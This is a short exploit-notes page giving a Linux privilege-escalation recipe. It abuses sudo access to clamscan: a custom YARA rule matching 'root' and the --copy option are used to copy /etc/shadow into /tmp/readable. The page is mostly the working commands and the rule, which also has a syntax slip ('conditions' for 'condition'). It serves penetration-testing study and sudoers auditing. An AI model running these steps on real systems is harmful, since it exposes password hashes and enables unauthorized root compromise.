> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-clamav-privilege-escalation.md).

# Sudo ClamAV Privilege Escalation

Sudo clamscan command might be vulnerable to privilege escalation (PrivEsc).

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-clamav-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

If we can execute **“clamscan”** command as root as below,

```bash
sudo /usr/bin/clamscan /etc/shadow --copy=/tmp/results
Copied!
```

we can read sensitive files by applying the custom yara rule.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-clamav-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

#### [1. Create a Yara Rule](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-clamav-privilege-escalation/#1.-create-a-yara-rule) <a href="#id-1.-create-a-yara-rule" id="id-1.-create-a-yara-rule"></a>

First off, check the location in which the yara file can be created.

```bash
find / -name "clam*" 2>/dev/null
Copied!
```

For instance, assume we can create the yara file under **/var/lib/clamav/**.\
Create the yara rule in there.\
Assume we want to read /etc/shadow, so specify the string **“root”** because the /etc/shadow contains “root” user name.

```bash
# /var/lib/clamav/test.yara
rule test
{
  strings:
    $string = "root"
  conditions:
    $string
}
Copied!
```

#### [2. Execute ClamScan](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-clamav-privilege-escalation/#2.-execute-clamscan) <a href="#id-2.-execute-clamscan" id="id-2.-execute-clamscan"></a>

Now execute **"clamscan"** as root.

```bash
sudo /usr/bin/clamscan /etc/shadow --copy=/tmp/results
Copied!
```

We can see **/etc/shadow** under **/tmp/results**.